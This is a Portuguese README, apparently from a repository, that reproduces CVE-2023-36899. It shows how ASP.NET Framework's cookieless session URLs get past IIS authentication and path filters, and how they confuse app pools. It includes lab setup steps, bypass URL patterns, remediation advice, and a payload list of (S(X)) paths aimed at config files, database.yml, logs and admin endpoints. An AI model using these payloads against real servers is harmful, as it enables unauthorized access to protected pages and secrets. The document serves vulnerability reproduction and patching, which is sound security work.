CVE-2023-36899

Ambiente de reprodução e ferramentas para a vulnerabilidade CVE-2023-36899, referente à bypass de autenticação de sessão sem cookies no ASP.NET Framework.

Cookieless DuoDrop: IIS Auth Bypass & App Pool Privesc in ASP.NET Framework (CVE-2023-36899)

No desenvolvimento web moderno, embora os cookies sejam o método preferido para transmitir IDs de sessão, o .NET Framework também oferece uma alternativa: codificar o ID de sessão diretamente na URL. Essa técnica é chamada de recurso "sem cookies" no .NET Framework. Muitos desenvolvedores e testadores de segurança negligenciam essa opção, pois é raramente vista em aplicações reais. No entanto, tornou-se uma mina de ouro para descobrir vulnerabilidades no lado do cliente, como fixação de sessão, sequestro de sessão, injeção de HTML e cross-site scripting. Além disso, esse recurso pode ser explorado para contornar regras de firewall baseadas em caminho que não estão configuradas para reconhecer o método sem cookies. Devido a problemas de segurança inerentes, o .NET Core e versões posteriores do .NET omitiram o recurso sem cookies. Mas não podemos esquecer a vasta quantidade de aplicações web que ainda usam o .NET Framework clássico.

Pontos-chave:

1. O recurso sem cookies do .NET Framework pode ser abusado para acessar diretórios protegidos ou diretórios bloqueados pelos filtros de URL do IIS.
2. Usando o recurso sem cookies, é possível contornar a autenticação ou verificação de filtros do IIS.
3. Outro problema envolve como o IIS gerencia pools de aplicativos, podendo levar a escalonamento de privilégios ou bypass de segurança.
4. Através do recurso sem cookies do .NET Framework, é possível forçar uma aplicação IIS a usar o pool de aplicativos pai em vez do seu próprio pool.

Detalhes da Vulnerabilidade:

1. Bypass de Caminho Restrito do IIS

O recurso sem cookies do .NET Framework pode ser abusado para acessar diretórios protegidos ou diretórios bloqueados pelos filtros de URL do IIS. Por exemplo, considere o seguinte cenário no site victim.com:

• Página localizada no diretório /protected/: /webform/protected/target1.aspx, que exige autenticação básica.
• Página movida temporariamente para a pasta /bin/: /webform/bin/target2.aspx, tornando-a inacessível.

Normalmente, acessar essas páginas através das URLs seria bloqueado no IIS:

• http://10.0.2.15:8080/webform/protected/target1.aspx
• http://10.0.2.15:8080/webform/bin/target2.aspx

Porém, podemos usar o recurso sem cookies para acessar essas páginas através dos seguintes padrões:

• http://10.0.2.15:8080/webform/(S(X))/prot/(S(X))ected/target1.aspx
• http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target2.aspx

2. Confusão de Pool de Aplicativos

Como o IIS gerencia pools de aplicativos pode levar a escalonamento de privilégios ou bypass de segurança. É possível manipular o recurso sem cookies do .NET Framework para forçar uma aplicação IIS a usar o pool de aplicativos pai em vez do seu próprio pool. Por exemplo:

• A raiz do site (/) executa usando o pool DefaultAppPool.
• A aplicação /classic/ usa o pool .NET v4.5 Classic.
• A aplicação /classic/nodotnet/ usa o pool NoManagedCodeClassic, que não suporta código gerenciado.

Um arquivo C# chamado AppPoolPrint.aspx pode ser acessado em todas as aplicações acima, exibindo o nome do pool de aplicativos atual. Usando o recurso sem cookies duas vezes, podemos fazer esta página rodar usando o pool de aplicativos pai:

• /(S(X))/(S(X))/classic/AppPoolPrint.aspx -> DefaultAppPool
• /(S(X))/(S(X))/classic/nodotnet/AppPoolPrint.aspx -> DefaultAppPool
• /classic/(S(X))/(S(X))/nodotnet/AppPoolPrint.aspx -> .NET v4.5 Classic

Isso permite que, mesmo páginas em /classic/nodotnet/ (que não deveriam executar código gerenciado) possam rodar páginas ASPX usando o pool de aplicativos pai. Esse comportamento pode levar ao escalonamento de privilégios no IIS.

Reprodução da Vulnerabilidade:

1. Preparação do Ambiente:

• Sistema Operacional: Instalar uma versão do Windows Server, por exemplo, Windows Server 2016 ou 2019.
• Servidor Web: Instalar o Internet Information Services (IIS).
• Framework de Desenvolvimento: Instalar o .NET Framework (não .NET Core ou .NET 5+).

Ao instalar o IIS, selecione:

• Servidor Web:
  • Recursos HTTP Comuns:
    • Conteúdo Estático
    • Documento Padrão
    • Navegação em Diretórios
    • Erros HTTP
  • Desenvolvimento de Aplicações:
    • Extensibilidade .NET (correspondente à sua versão do .NET Framework: 4.5)
    • ASP.NET (correspondente à sua versão do .NET Framework: 4.5)
    • Extensões ISAPI
    • Filtros ISAPI
• Saúde e Diagnóstico:
  • Logs HTTP
  • Monitoramento de Solicitações
  • Ferramentas de Log
• Segurança:
  • Filtragem de Solicitações
  • Autenticação Básica
  • Autenticação Windows

2. Configuração do IIS:

1. Abra o Gerenciador do IIS.
2. Crie um novo site.
3. No novo site, crie alguns diretórios, como /webform, /webform/protected, e /webform/bin.
4. No diretório /protected/, configure a autenticação básica.
5. Mova a página /webform/bin/target.aspx para a pasta /bin/, tornando-a inacessível diretamente. (O diretório bin não é acessível por padrão no IIS, pois envolve programas compilados sensíveis.)

3. Criação de Páginas de Teste:

1. No diretório /webform/protected/, crie uma página chamada target.aspx.
2. No diretório /webform/bin/, crie uma página chamada target.aspx.
3. Em cada aplicação, crie uma página chamada AppPoolPrint.aspx, que exibe o nome do pool de aplicativos atual.

Conteúdo de teste para o arquivo target.aspx:

<%@ Page Language="C#" %>
    <!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Teste ASPX</title>
</head>
<body>
    Este é um texto estático. <br>
    Texto dinâmico: <%= DateTime.Now.ToString() %>
        </body>
</html>

Conteúdo de teste para o arquivo web.config na raiz:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.web>
        <compilation debug="true" targetFramework="4.5" />
        <httpRuntime targetFramework="4.5" />
        <sessionState mode="InProc" cookieless="UseCookies" />
    </system.web>
</configuration>

Onde <sessionState mode="InProc" cookieless="UseCookies" /> significa que o site usa cookies para armazenar informações de sessão padrão, sendo esse o comportamento padrão também.

4. Reprodução da Vulnerabilidade:

1. Tente acessar diretamente as páginas /webform/protected/target.aspx e /webform/bin/target.aspx. Você deve ser bloqueado ou solicitado a autenticar.

Usando http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target1.aspx acesso bem-sucedido

2. Tente acessar essas páginas usando o recurso sem cookies, por exemplo:
   • https://yourserver/webform/(S(X))/prot/(S(X))ected/target.aspx
   • https://yourserver/webform/(S(X))/b/(S(X))in/target.aspx Você deve conseguir contornar a autenticação ou filtro para acessar essas páginas.

Recomendações de Correção

1. Bloquear a característica /S(X)) no WAF.
2. Instalar o patch correspondente no servidor: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899

Possíveis payloads list:

/config/(S(X))/a/(S(X))pp/settings.xml
/config/(S(X))/settings.xml
/config/(S(X))/database.yml
/admin/(S(X))/config.xml
/a/(S(X))ppled/resource
/dashboard/(S(X))/data.json
/logs/(S(X))/error.log
/api/v1/(S(X))/config.json
/admin/s/(S(X))ettings/config.xml
/manage/s/(S(X))cripts/script.js
/dashboard/d/(S(X))ata/data.json
/config/dat/(S(X))abase/database.yml
....

referências:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899 https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/ https://nvd.nist.gov/vuln/detail/CVE-2023-36899 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36899